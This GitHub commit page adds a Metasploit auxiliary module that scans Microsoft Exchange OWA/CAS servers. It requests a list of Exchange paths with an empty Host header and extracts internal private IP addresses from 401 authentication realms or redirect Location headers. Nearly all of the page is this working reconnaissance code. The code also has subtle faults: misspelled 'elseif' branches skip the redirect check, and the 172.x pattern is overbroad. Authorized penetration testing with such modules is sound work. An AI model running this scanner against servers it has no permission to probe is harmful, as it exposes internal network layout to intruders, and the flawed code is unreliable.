Skip to content

Commit 073850c

Browse files
author
Brent Cook
committed
Land rapid7#5158, OWA internal IP disclosure scanner
2 parents 5296c65 + bec6270 commit 073850c

File tree

1 file changed

+112
-0
lines changed

1 file changed

+112
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Scanner
12+
13+
def initialize
14+
super(
15+
'Name' => 'Outlook Web App (OWA) / Client Access Server (CAS) IIS HTTP Internal IP Disclosure',
16+
'Description' => %q{
17+
This module tests vulnerable IIS HTTP header file paths on Microsoft Exchange OWA 2003, CAS 2007, 2010, 2013 servers.
18+
},
19+
'Author' =>
20+
[
21+
'Nate Power'
22+
],
23+
'DisclosureDate' => 'Dec 17 2012',
24+
'License' => MSF_LICENSE,
25+
'DefaultOptions' => {
26+
'SSL' => true
27+
}
28+
)
29+
30+
register_options(
31+
[
32+
OptInt.new('TIMEOUT', [ true, "HTTP connection timeout", 10]),
33+
OptInt.new('RPORT', [ true, "The target port", 443]),
34+
], self.class)
35+
end
36+
37+
def run_host(target_host)
38+
rhost = target_host
39+
print_status("#{msg} Checking HTTP headers")
40+
get_ip_extract
41+
end
42+
43+
def get_ip_extract
44+
urls = ["/Microsoft-Server-ActiveSync/default.eas",
45+
"/Microsoft-Server-ActiveSync",
46+
"/Autodiscover/Autodiscover.xml",
47+
"/Autodiscover",
48+
"/Exchange",
49+
"/Rpc",
50+
"/EWS/Exchange.asmx",
51+
"/EWS/Services.wsdl",
52+
"/EWS",
53+
"/ecp",
54+
"/OAB",
55+
"/OWA",
56+
"/aspnet_client",
57+
"/PowerShell"]
58+
59+
result = nil
60+
61+
urls.each do |url|
62+
begin
63+
res = send_request_cgi({
64+
'version' => "1.0",
65+
'uri' => "#{url}",
66+
'method' => 'GET',
67+
'vhost' => ''
68+
}, timeout = datastore['TIMEOUT'])
69+
70+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
71+
print_error("#{msg} HTTP Connection Failed")
72+
next
73+
end
74+
75+
if not res
76+
print_error("#{msg} HTTP Connection Timeout")
77+
next
78+
end
79+
80+
if res and res.code == 401 and (match = res['WWW-Authenticate'].match(/Basic realm=\"(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\"/i))
81+
result = match.captures[0]
82+
print_status("#{msg} Status Code: 401 response")
83+
print_status("#{msg} Found Path: " + url )
84+
print_good("#{msg} Found target internal IP address: " + result)
85+
return result
86+
elseif
87+
print_warning("#{msg} No internal address found")
88+
next
89+
end
90+
91+
if res and (res.code > 300 and res.code < 310) and (match = res['Location'].match(/^https?:\/\/(192\.168\.[0-9]{1,3}\.[0-9]{1,3}|10\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}|172\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})\//i))
92+
result = match.captures[0]
93+
print_status("#{msg} Status Code: #{res.code} response")
94+
print_status("#{msg} Found Path: " + url )
95+
print_good("#{msg} Found target internal IP address: " + result)
96+
return result
97+
elseif
98+
print_warning("#{msg} No internal address found")
99+
next
100+
end
101+
end
102+
103+
if result.nil?
104+
print_warning("#{msg} Nothing found")
105+
end
106+
107+
return result
108+
end
109+
def msg
110+
"#{rhost}:#{rport} -"
111+
end
112+
end

0 commit comments

Comments
 (0)